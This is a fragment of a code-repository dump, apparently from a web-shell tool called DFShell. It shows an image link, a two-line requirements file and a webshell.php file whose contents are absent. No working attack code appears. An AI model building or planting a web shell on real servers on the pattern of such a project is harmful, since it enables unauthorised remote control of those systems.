https://raw.githubusercontent.com/D3Ext/DFShell/91da98a13c8284997fe2767079329c6a08d0108c/images/demo3.png
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | argparse
2 | requests
3 |
--------------------------------------------------------------------------------
/webshell.php:
--------------------------------------------------------------------------------
1 |
7 |
--------------------------------------------------------------------------------